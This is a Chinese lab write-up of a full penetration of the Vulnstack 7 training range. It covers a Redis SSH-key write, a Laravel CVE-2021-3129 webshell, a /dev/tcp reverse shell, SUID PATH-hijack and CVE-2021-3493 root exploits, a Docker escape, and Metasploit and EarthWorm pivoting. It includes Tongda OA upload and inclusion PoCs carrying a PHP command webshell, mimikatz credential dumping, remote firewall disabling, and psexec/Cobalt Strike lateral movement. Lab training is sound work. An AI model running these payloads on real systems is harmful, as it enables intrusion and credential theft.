首页 > 其他分享 >红日七靶场--Writeup

红日七靶场--Writeup

时间:2024-11-08 20:46:32浏览次数:3  
标签:文件 set 查看 -- Writeup 192.168 主机 靶场 net

 环境下载地址

http://vulnstack.qiyuanxuetang.net/vuln/detail/9/

前置配置

环境拓扑

网络编辑(这里桥接模式的网段不能通第二层也就是52的网段,笔记中桥接模式无法联网所以使用了52的nat网段)

DMZ区域:

- 给Ubuntu (Web 1) 配置了两个网卡,一个桥接可以对外提供服务;一个连接在VMnet8上

连通第二层网络。

第二层网络区域:

- 给Ubuntu (Web 2) 和Windows 7 (PC 1)都配置了两个网卡,一个连接在VMnet8上连通第二层网络,一个连接在VMnet14上连通第三层网络。

第三次网络区域:

给Windows Server 2012和Windows 7 (PC 2)都只配置了一个网卡,一个连接在

VMnet14上连通第三层网络

用户名密码:

域用户账户和密码如下:

Administrator:Whoami2021

whoami:Whoami2021

bunny:Bunny2021moretz:Moretz2021

Ubuntu 1:

web:web2021

Ubuntu 2:

ubuntu:ubuntu

通达OA账户(不重要):

admin:admin657260

 配置服务:

DMZ区的 Ubuntu(web1) 需要启动redis和nginx服务(这里的redis得用root权限启动):

sudo -i

redis.confredis-server /etc/redis.conf

/usr/sbin/nginx -c /etc/nginx/nginx.conf

iptables -F(关闭防火墙)

 第二层网络的ubuntu(web2)

sudo -i

service docker start (启动docker)

docker start 8e172820ac78(启动镜像)

第二层网络的windows 7(pc1) 启动通达OA,需要用administrator启动并关闭防火墙

位置:

C:\MYOA\bin\AutoConfig.exe

 启动时需要输入域用户名密码:

域用户账户和密码如下:

Administrator:Whoami2021

 关闭防火墙。并启动

 因为是内网攻击,我们先使用攻击机先进行内网主机扫描

 netdiscover -r 192.168.1.0/24

得到这些ip,排除52.1和52.254剩余的跑一下端口

192.168.52.10

 

 192.168.52.20

 192.168.52.30

访问资产,一个laravel,尝试找一下历史漏洞

存在Laravel RCE(CVE-2021-3129)命令执行漏洞

同时该主机还使用了redis,尝试redis未授权

 redis未授权

 先尝试redis未授权,测试存不存在未授权

redis-cli -h 192.168.52.10 

发现存在未授权漏洞,写入ssh公钥连接ssh 

#生成公钥(需要root权限)

ssh-keygen -t rsa

#-t 公钥名

#将公钥写入到f.txt文件内

(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > f.txt

#/root/.ssh/id_rsa.pub:公钥存放位置

#把f.txt文件内容写入目标主机的redis缓冲中

cat f.txt |redis-cli -h 192.168.52.10 -p 6379 -x set hello

`set`是Redis的一个命令,用于设置键值对,`xxx`在这里是键(key)的名称

#在这个命令中,`cat f.txt`的输出(即`f.txt`的内容)将被传递给后面的`redis-cli`命令。

// -x 代表从标准输入读取数据作为该命令的最后一个参数

-h ip

-p 端口

段命令的作用是将文件`f.txt`的内容作为值,设置到Redis服务器(IP地址为192.168.52.10,端口

号为6379)上,键名为`aaa`

 

# 设置redis备份路径

config set dir /root/.ssh#设置保存文件名为redis_bf

config set dbfilename authorized_keys

保存操作

save

在redis中config set命令是用于动态修改redis服务器的配置

dir和dbfilename是用于hidingredis数据库文件的存储路径和文件名。但将这些配置项设置为与 SSH 密钥管理相关的路径和文件名会导致ssh

成功连接目标主机

进行简单的信息收集,发现网段52.x

 通过浏览器插件我们可以知道该主机还有一个nginx反向代理

查看他的反向代理文件 

在80文件内并未发现有用的东西,在81文件内,发现52.20地址 

利用Laravel框架漏洞反弹getshell 

工具:https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP

Webshell工具:哥斯拉(2.92版本可连)

https://github.com/BeichenDream/Godzilla/releases/tag/v2.92-godzilla

在github上可以下载到利用脚本,直接脚本梭哈,使用的时候如果没出结果将url最后的一个/去掉

 使用哥斯拉2.92连接成功,注意修改有效载荷

进行一波简单的信息收集,发现docker应该是在docker环境内,ip端是172 

反弹shell 

bash -c 'sh -i >& /dev/tcp/192.168.52.10/10023>&1' 

查看当前用户权限 

提权

目前的权限是www,利用容器操纵实体机修改ssh,进行免密登录所以我们首先得在容器中进行 提权。

环境变量劫持提权

查找有高权限的文件,也就是说这个文件的权限是root,那么通过这个权限调用的任何命令也是 root权限,再修改环境变量,让这个文件调用的命令指向我们写的恶意命令就可以进行提权。

原理:

利用suid的权限调用所属主用户即root用户执行c里的代码

find 命令查找具有 SUID 或4000 权限的文件

find / -perm -u=s -type f 2>/dev/null 命令详解:

find 命令来搜索具有 SUID 或4000 权限的文件

find # 这是用于在文件系统中搜索文件的命令

/ # 根目录, find 将从文件系统的根目录开始搜索整个文件系统

-perm # 用来查找具有某些权限的文件

-u=s # 查找那些其执行权限位( x )设置了 “s” (而不是 “x” )的文件

注意:-u=s 中 (连接符)这里是指 “ 所有指定为都必须匹配的意思 ”

-type # 这个选项允许你基于文件类型来搜索文件。

f # 表示 “ 普通文件 ” 。这意味着 find 将只搜索普通文件,而不是目录、设备文件等。

2>/dev/null #2>/dev/null 意味着任何由 find 命令产生的错误消息都将被丢弃

 
 

注意:这时候是在docker镜像内,为了详细点,进入镜像内查看一下文件

​​​​​​在web2的机器上
sudo docker exec -it 8e172820ac78 /bin/bash  #进入镜像如果使用
exit退出,容器会停止运行
文件位置:/home/jobs/shell
如果想退出容器但不想容器停止,则按住Ctrl+P+Q退出​

cd /tmp

echo "/bin/bash" > ps # 写入恶意文件

chmod 777 ps

echo $PATH

export PATH=/tmp:$PATH # 添加环境变量

cd /home/jobs

./shell

补充: /tmp 文件夹是一个临时文件夹,用于存储临时文件和临时数据。 所有用户都可以在该文件夹内写入文件所以在 /tmp 文件夹下下入 

 docker逃逸

docker 特权模式:允许容器内的 root 拥有外部物理机 root 权限,而此前容器内 root 用户仅拥有外部物 理机普通用户权限。

使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行 docker run — privileged 时, Docker 容器将被允许访问主机上的所有设备,并可以执行 mount 命令进行挂载。

当控制使用特权模式启动的容器时, docker 管理员可通过 mount 命令将外部宿主机磁盘设备挂 载进容器内部,获取对整个宿主机的文件读写权限

fdisk -l  # 查看磁盘文件

ls /dev  # 查看设备文件 

 发现三个磁盘文件和很多的设备文件,先将/dev/sda 挂载到创建的文件夹看看

mkdir d # 创建文件夹

mount /dev/sda1 d # 把 sda1 挂载到 d

  在home下发现ubuntu用户,尝试之制造ssh公钥连接

ssh-keygen -f f

chmod 600 f # 给予权限

权限太高会报错,建议权限设置为600 

报错提示: 

生成密钥: 

将生成的文件( f.pub )写入 /gz/home/ubuntu/.ssh/authorized_keys 中

echo ' 生成的 pub 文件的内容 '>/d/home/ubuntu/.ssh 

 利用生成的密钥进行登录

 ssh -i f [email protected]

# -i 指定一个 RSA 或 DSA 认证所需的身份 ( 私钥 ) 文件

CVE-2021-3493提权 

查看网络,发现一个93的网段

查看系统版本发现是一个ubuntu14.04的系统,看到版本很老尝试到网上找一下有没有Nday 

lsb_release -a 

在网上找到漏洞(CVE-2021-3493)

项目地址:

CVE-2021-3493/exploit.c at main · briskets/CVE-2021-3493 (github.com)

将项目地址拷贝到目标主机 

cd /tmp

vim exp.c # 将 exp 粘贴进去

gcc exp.c -o exp # 编译 exp

chmod 777 exp # 给予权限

./exp # 运行

whoami # 查看当前权限 

成功提权 

上线msf 

先将web1上线

search web_delivery # 查找模块

use exploit/multi/script/web_delivery # 选择模块

show targets # 查看目标系统

set target 7 # 选择目标系统

show payloads # 查看 payload

set payload linux/x64/meterpreter/reverse_tcp # 选择 payload

set lhost 192.168.1.154 # 攻击机 ip

set lport 1111 # 端口

show options # 查看当前模块配置

run # 启动

sessions # 查看上线的主机

在目标主机运行生成的命令

 查看连接

路由与socks5代理 

目前已经 获取到两个sessions,kali与52段的主机无法通讯,所以需要在web1的机器上添加一个 到52段的路由

路由的作用是将msf带入到内网里,但是想要将其他工具也带入内网就需要搭建socks代理

工具地址: idlefire/ew: 内网穿透(跨平台) (github.com

语法: route add 目标网段 子网掩码 sessions 号

route add 192.168.52.0 255.255.255.0 5 # 添加路由

route print # 查看 

使用earthworm搭建socks5反向代理

工具: https://github.com/idlefire/ew

下载后放入攻击机,给一下权限,然后开启监听 

chmod 777 ew_for_linux64

./ew_for_linux64 -s rcsocks -l 1080 -e 6456

-s: 设置监听模式

-l: 设置监听端口

-e :设置反弹主机端口

搭建成功会出现: rssocks cmd_socket OK! 

sessions # 查看上线主机

sessions id # 进入主机 

 进入dmz区域的主机,在该主机上搭建socks反向代理 

shell

upload /root/gju/ew_for_linux64 # 下载工具,后面的路径为工具在攻击机上的路径

chmod 777 ew_fow_linux64

nohup ./ew_for_linux64 -s rssocks -d 192.168.52.128 -e 6456

-d: 设置反弹主机 ip

 然后在kali上配置proxychains,将socks5服务指向127.0.0.1:1080

文件位置:

vim /etc/proxychains4.conf

socks5 127.0.0.1 1080 

 

开启完成后, ctrl+cf 返回,然后 background 退出当前会话 

 使用auxiliary/scanner/discovery/udp_probe 模块进行第二层主机存活测试

use auxiliary/scanner/discovery/udp_probe

set rhosts 192.168.52.1-255

set threads 5

run 

 发现一个30的主机,使用proxychains4对30的主机做一个端口扫描 

proxychains4 nmap -Pn -sT -sV -F -O 192.168.52.30

[*] exec: proxychains4 nmap -Pn -sT -sV -F -O 192.168.52.30 

 发现一个8080端口,在浏览器上配置一下代理去看一下

 发现是一个通达oa,测试发现为V11.3版本,在网上可以找到很多的poc,存在漏洞包括任意用户 登录,文件包含,文件上传等多个漏洞。 

 POC: 通达OA前台任意用户登录漏洞+RCE漏洞复现_通达oa2016漏洞-CSDN博客 配置一下bp的代理: 

抓包成功

 尝试打一波历史漏洞

任意用户登录:

需修改以下三个地方:

/logincheck.php ---- >/logincheck_code.php

删除 cookie 在 post 传输的内容中添加 UID=1 

未修改

 修改后: 

查看返回包的set-cookie,copy下来 

 用获取到的sessid访问/general

任意文件上传

漏洞位置:/ispirit/im/upload.php

POC 

POST /ispirit/im/upload.php HTTP/1.1

Host: 192.168.52.30:8080

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101

Firefox/102.0

Content-Type: multipart/form-data; boundary=---- WebKitFormBoundarypyfBh1YB4pV8McGB 

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/ *;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 656

Origin: http://192.168.52.30:8080

Connection: close

Referer: http://192.168.52.30:8080/

Cookie: PHPSESSID=123

Upgrade-Insecure-Requests: 1

------WebKitFormBoundarypyfBh1YB4pV8McGB

Content-Disposition: form-data; name="UPLOAD_MODE" 2

------WebKitFormBoundarypyfBh1YB4pV8McGB

Content-Disposition: form-data; name="P"

123

------WebKitFormBoundarypyfBh1YB4pV8McGB

Content-Disposition: form-data; name="DEST_UID"

1

------WebKitFormBoundarypyfBh1YB4pV8McGB

Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"

Content-Type: image/jpeg

 <?php
 $command=$_POST['cmd'];
 $wsh = new COM('WScript.shell');
 $exec = $wsh->exec("cmd /c ".$command);
 $stdout = $exec->StdOut();
 $stroutput = $stdout->ReadAll();
 echo $stroutput;
 ?>

------WebKitFormBoundarypyfBh1YB4pV8McGB--

 路径:2410/1369304288.jpg

文件包含利用

漏洞位置:/ispirit/interface/gateway.php

POC

POST /ispirit/interface/gateway.php HTTP/1.1

Host: 192.168.52.30:8080

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101

Firefox/102.0

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/ *;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 70

Origin: http://192.168.52.30:8080

Connection: close

Referer: http://192.168.52.30:8080/

Upgrade-Insecure-Requests: 1

json={"url":"/general/../../attach/im/2410/1369304288.jpg"}&cmd=whoami

包含成功,开始上线msf

use exploit/multi/script/web_delivery

set target 2

set payload windows/meterpreter/reverse_tcp

set lhost 攻击机 IP

set lport 端口

run 

将生成的powershell,利用木马进行上传,虽然没有回显,但是MSF成功上线(这一步有点看运 气,连不上就换端口再连,连上了也及其不稳定,不知道是不是我这里的原因,多尝试几遍吧) 

 做信息收集

ipconfig /all # 查看本机 ip ,所在域

route print  #打印路由信息

net view  #查看局域网内其他主机名

arp -a  #查看arp缓存

net start  #查看开启了哪些服务

net share  #查看开启了哪些共享

net share ipc$ # 开启 ipc 共享

net share c$ # 开启 c 盘共享

net use \\192.168.xx.xx\ipc$ "" /user:"" # 与192.168.xx.xx 建立空连接

net use \\192.168.xx.xx\c$ " 密码 " /user:" 用户名 "  #建立c盘共享

dir \\192.168.xx.xx\c$\user  #查看192.168.xx.xx c 盘 user 目录下的文件

net config Workstation #查看计算机名、全名、用户名、系统版本、工作站、域、登录域

net user # 查看本机用户列表

net user /domain  # 查看域用户

net localgroup administrators #查看本地管理员组(通常会有域用户)

net view /domain #查看有几个域

net user 用户名 /domain #获取指定域用户的信息

net group /domain #查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)

net group 组名 /domain #查看域中某工作组

net time /domain #主域服务器会同时作为时间服务器

net group "domain admins" /domain # 查看域管理员的名字

net group "domain computers" /domain # 查看域中的其他主机名

net group "doamin controllers" /domain # 查看域控制器(可能有多台)

net group "Enterprise Admins" /domain // 查看域管理员组

可以得到信息,93网段,域为whoamianony.org,域控为DC.whoamianony.org,IP为 192.168.93.30,域管理员为Administrator 

至此,拿下三台主机

横向渗透

获取凭证(将进程迁移至64位的进程上)

因为目标系统是64位的,所以需要吧metepreter进程迁移到一个64位程序的进程中。(system权 限的进程)

ps # 查看进程

migrate + 进程号    

load kiwi # 打开 kiwi

kiwi_cmd 模块可以让我们使用 mimikatz 的全部功能,该命令后面接 mimikatz.exe 的命令 kiwi_cmd privilege::debug

kiwi_cmd sekurlsa::logonPasswords

load kiwi # 加载 kiwi 模块

help kiwi # 查看 kiwi 模块的使用 

模块翻译

creds_all :# 列举所有凭据

creds_kerberos :#列举所有 kerberos 凭据

creds_msv :#列举所有 msv 凭据

creds_ssp :#列举所有 ssp 凭据

creds_tspkg :#列举所有 tspkg 凭据

creds_wdigest :#列举所有 wdigest 凭据

dcsync :#通过 DCSync 检索用户帐户信息

dcsync_ntlm : #通过 DCSync 检索用户帐户 NTLM 散列、 SID 和 RID

golden_ticket_create : # 创建黄金票据

kerberos_ticket_list : # 列举 kerberos 票据

kerberos_ticket_purge : # 清除 kerberos 票据

kerberos_ticket_use : # 使用 kerberos 票据

kiwi_cmd : # 执行 mimikatz 的命令,后面接 mimikatz.exe 的命令

lsa_dump_sam :#dump 出 lsa 的 SAM

lsa_dump_secrets :#dump 出 lsa 的密文

password_change :#修改密码

wifi_list : #列出当前用户的 wifi 配置文件

wifi_list_shared :#列出共享 wifi 配置文件 / 编码

 拿到域用户bunny和域管理员administered的凭证

bunny : Bunny2021

administrator : Whoami2021

至此,第二层已经全部渗透完毕,接下来开始第三层的渗透

第三层

在第二层的网络windows服务器的meterpreter中添加一个通往192.168.93.1网段的路由

route add 192.168.93.0 255.255.255.0 80

route print 

 在攻击机上添加一个转接隧道,监听1090端口,并且将1090收到的代理请求给到1235端口

./ew_for_linux64 -s lcx_listen -l 1090 -e 1235

 在第二层网络的Windows服务器上传ew_for_win.exe,并利用ssocksd方式启动999端口的正向代 理

uoload /root/we_for_win.exe ( 文件位置 )

ew_for_Win.exe -s ssocksd -l 4567

 

 在DMZ区域的ubuntu18上,将攻击机端口与windows的999端口连接起来。

./ew_for_linux64 -s lcx_slave -d 192.168.52.128 -e 1235 -f 192.168.52.30 -g 4567

配置proxychains

vim /etc/proxychains4.conf 

 连接成功

 background退出当前会话,使用msf切换模块来探测第三层的网络

use auxiliary/scanner/smb/smb_version

set rhosts 192.168.93.1-255

set threads 5

run

发现30 ( DC )与40 ( PC2 )两台主机,再做个端口扫描看看 

use auxiliary/scanner/portscan/tcp

set rhosts 192.168.93.40 # 设置 IP

set threads 15 # 设置 线程

show options 

看到一个445的端口,先尝试打一波永恒之蓝 

永恒之蓝 

setg Proxies socks5:127.0.0.1:1090

use exploit/windows/smb/ms17_010_eternalblue

set rhosts 192.168.93.40

set payload windows/x64/meterpreter/bind_tcp

set rhost 192.168.93.40

set lport 4444

exploit

永恒之蓝失败,那在去看看刚刚的30主机。也就是DC的那台机器,因为有管理员和密码,所以 直接上psexec模块

psexec模块攻击

use exploit/windows/smb/psexec

set rhosts 192.168.93.30

set lport 9999

set SMBUser administrator

set SMBPass Whoami2021

set payload windows/meterpreter/bind_tcp

set rhost 192.168.93.30

show options

run 

还是攻击失败,猜测是防火墙的原因,因为在pc1的时候已经获取到了域控的密码,那么就可以 控制第二层的windows 7来远程关闭域控的防火墙。 

shell

net use \\192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"

sc \\192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off" sc \\192.168.93.30 start unablefirewall

background # 退出会话

ru 

 DC上线拿下域控,开始打最后一台pc2

CS上线获取pc2

在获取DC之前做了一次永恒之蓝,打不进去,这次换CS来打 

在服务端开启

chmod 777 temserver # 给权限

chmod 777 TeamServerImage

./teamserver 192.168.52.128 (本机 ip ) 123456 (设置密码)

服务器开启之后:

客户端

 创建一个监听

 新建一个监听,然后配置如下,配置后选择这个监听

这个有点像msf中的web_delivery模块

 将生成的命令在pc1的shell执行

 cs成功上线

 打开pc1的会话,然后就是查看目标以及密码

net view

logonpasswords

 在cs上新建一个smb的监听,下图中的Listeners的位置(次监听是为了绕过防火墙,前面打 ms17010时判断出目标机器应该存在防火墙)

进入listeners --> add

 配置完之后,点击下图所示,找到扫到的40主机

jump -- > psexec

 用户名,密码,域在拿到30的机器时已经收集到,直接填入就可以了

通过pc2的会话查看主机ip地址

shell ipconfig 

拿下40主机

 同样的方法上线dc主机,至此,拿下全部主机

标签:文件,set,查看,--,Writeup,192.168,主机,靶场,net
From: https://blog.csdn.net/dingxingaq/article/details/143481072

相关文章

  • Telegram此号码已被封禁,快速解封的方法,解除this phone number is banned提醒
    在Telegram使用过程中,偶尔会出现手机号码被禁用的情况,当出现这种情况时,Telegram手机端和电脑PC端都会自动掉线并退出。当再次尝试登陆时候就会提示此手机号码已被封禁。如果您在使用Telegram过程中没有严重的违规操作,比如批量发送广告被多人举报等,大可不必紧张,只需要进行简单的操......
  • 内网学习一:windows基础
    工作组介绍按照不同的计算机功能或工作部门将计算机列入不同的工作组。要是想访问某一个工作组的资源只需要双击该部门的工作组,就可以看到该组内的所有计算机。目的:在大型网络中,方便管理员去管理设备加入工作组右击计算机图标---->属性---->高级系统设置---->计算机名---......
  • [20241108]跟踪library cache lock library cache pin使用gdb(11g)4.txt
    [20241108]跟踪librarycachelocklibrarycachepin使用gdb(11g)4.txt--//验证前面建立的gdb脚本确定librarycachepinaddress是否正确.1.环境:SCOTT@book>@ver1PORT_STRING                   VERSION       BANNER---------------------------......
  • ITC终裁确认英诺赛科客户不受英诺赛科与EPC专利纠纷影响
    英诺赛科是一家致力于创建基于高性能、低成本、硅基氮化镓(GaN-on-Si)电源解决方案的全球能源生态系统的企业。该公司今天宣布,美国国际贸易委员会(U.S.InternationalTradeCommission,ITC)2024年11月7日发布的337调查终裁决定证实,英诺赛科的客户将其产品进口到美国的合法性不......
  • [20241108]跟踪library cache lock library cache pin使用gdb(11g)3.txt
    [20241108]跟踪librarycachelocklibrarycachepin使用gdb(11g)3.txt--//前一段时间写的使用gdb跟踪librarycachelock/librarycachepin的脚本。--//我看过以前的笔记,当时测试过链接https://nenadnoveljic.com/blog/library-cache-lock-debugger/,我的测试在11g是失败.--//......
  • JS数据结构之树和二叉树
    一、树树(Tree)是一种非常常见的数据结构,它模拟了自然界中树的结构,由节点(或称为顶点)组成,并且具有层次化的组织形式。树结构在计算机科学中广泛应用,例如在组织数据、管理信息层次以及算法设计中。1.基本概念节点(Node)根节点(Root):树的最顶端节点,没有父节点。内部节点(InternalNod......
  • JS之正则表达式
    一、什么是正则表达式<!DOCTYPEhtml><htmllang="en"><head><metacharset="UTF-8"><metaname="viewport"content="width=device-width,initial-scale=1.0"><title>Document<......
  • Leetcode 每日一题 135.分发糖果
    问题描述给定一个整数数组ratings,表示一排孩子的评分。我们需要按照以下规则给孩子们分发糖果:每个孩子至少得到1个糖果。相邻两个孩子中,评分更高的孩子会得到更多的糖果。我们的目标是计算出按照这些规则分发糖果所需的最少糖果数。输入输出格式输入:一个整数数组 rating......
  • (开题报告)django+vue校园二手物品交易平台源码+论文
    本系统(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。系统程序文件列表开题报告内容一、选题背景关于校园二手物品交易平台的研究,现有研究多侧重于传统交易模式或者单一技术的应用。专门针对django+vue技术构建校园二手物品交易平......
  • 【Android】ANR监控治理技术方案
    一、背景1、bugly针对crash监控做的比较好,但是对anr监控,早期版本监听/data/anr目录的变化可以拿到数据,但是现在高版本已经没有权限监听此目录,当前数据非常少,结合历次数据来看对我们解决ANR问题没有任何帮助。2、当前ANR数据主要来自手机厂商系统监控得到的的AnrTop数......